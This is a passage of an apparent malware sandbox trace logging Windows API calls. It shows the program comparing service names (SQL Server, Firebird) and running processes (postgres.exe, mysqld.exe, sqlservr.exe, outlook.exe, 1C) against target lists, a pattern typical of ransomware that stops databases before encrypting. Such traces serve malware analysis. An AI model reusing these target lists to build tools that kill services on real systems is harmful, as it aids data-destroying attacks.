lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.663] lstrlenW (lpString="netprofm") returned 8 [0049.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.663] lstrlenW (lpString="NlaSvc") returned 6 [0049.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.663] lstrlenW (lpString="nsi") returned 3 [0049.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.663] lstrlenW (lpString="PcaSvc") returned 6 [0049.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.663] lstrlenW (lpString="PlugPlay") returned 8 [0049.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.663] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.663] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.664] lstrlenW (lpString="Power") returned 5 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.664] lstrlenW (lpString="ProfSvc") returned 7 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.664] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.664] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.664] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.664] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.664] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.664] lstrlenW (lpString="RpcSs") returned 5 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.664] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.664] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.664] lstrlenW (lpString="SamSs") returned 5 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.664] lstrlenW (lpString="Schedule") returned 8 [0049.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.665] lstrlenW (lpString="SENS") returned 4 [0049.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.665] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.665] lstrlenW (lpString="Spooler") returned 7 [0049.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.665] lstrlenW (lpString="swprv") returned 5 [0049.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.665] lstrlenW (lpString="SysMain") returned 7 [0049.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.665] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.665] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.666] lstrlenW (lpString="Themes") returned 6 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.666] lstrlenW (lpString="TrkWks") returned 6 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.666] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.666] lstrlenW (lpString="UxSms") returned 5 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.666] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.666] lstrlenW (lpString="VSS") returned 3 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.666] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.666] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.666] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.666] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.666] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.667] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.667] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.667] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.667] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.667] lstrlenW (lpString="Winmgmt") returned 7 [0049.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.667] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.667] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.667] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.667] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0049.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0049.674] Process32FirstW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.674] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.675] lstrlenW (lpString="System") returned 6 [0049.675] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.675] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.676] lstrlenW (lpString="smss.exe") returned 8 [0049.676] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.676] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.677] lstrlenW (lpString="csrss.exe") returned 9 [0049.677] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.677] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.677] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.677] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.678] lstrlenW (lpString="wininit.exe") returned 11 [0049.678] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.678] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.678] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.678] lstrlenW (lpString="csrss.exe") returned 9 [0049.678] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.679] lstrlenW (lpString="winlogon.exe") returned 12 [0049.679] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.680] lstrlenW (lpString="services.exe") returned 12 [0049.680] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.680] lstrlenW (lpString="lsass.exe") returned 9 [0049.680] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.681] lstrlenW (lpString="lsm.exe") returned 7 [0049.681] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.682] lstrlenW (lpString="svchost.exe") returned 11 [0049.682] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.682] lstrlenW (lpString="svchost.exe") returned 11 [0049.682] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.683] lstrlenW (lpString="svchost.exe") returned 11 [0049.683] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.683] lstrlenW (lpString="svchost.exe") returned 11 [0049.684] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.684] lstrlenW (lpString="svchost.exe") returned 11 [0049.684] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.685] lstrlenW (lpString="audiodg.exe") returned 11 [0049.685] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.686] lstrlenW (lpString="svchost.exe") returned 11 [0049.686] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.686] lstrlenW (lpString="svchost.exe") returned 11 [0049.686] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.687] lstrlenW (lpString="dwm.exe") returned 7 [0049.687] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.687] lstrlenW (lpString="explorer.exe") returned 12 [0049.687] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.688] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.688] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.689] lstrlenW (lpString="taskhost.exe") returned 12 [0049.689] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.689] lstrlenW (lpString="svchost.exe") returned 11 [0049.689] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.690] lstrlenW (lpString="taskeng.exe") returned 11 [0049.690] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.691] lstrlenW (lpString="taskhost.exe") returned 12 [0049.691] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0049.691] lstrlenW (lpString="chem venues.exe") returned 15 [0049.691] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0049.782] lstrlenW (lpString="month.exe") returned 9 [0049.782] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0049.783] lstrlenW (lpString="glasgow.exe") returned 11 [0049.783] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0049.783] lstrlenW (lpString="rubber.exe") returned 10 [0049.784] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0049.784] lstrlenW (lpString="petroleum.exe") returned 13 [0049.784] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0049.785] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0049.785] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0049.785] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0049.785] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0049.786] lstrlenW (lpString="batman_oliver.exe") returned 17 [0049.786] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) 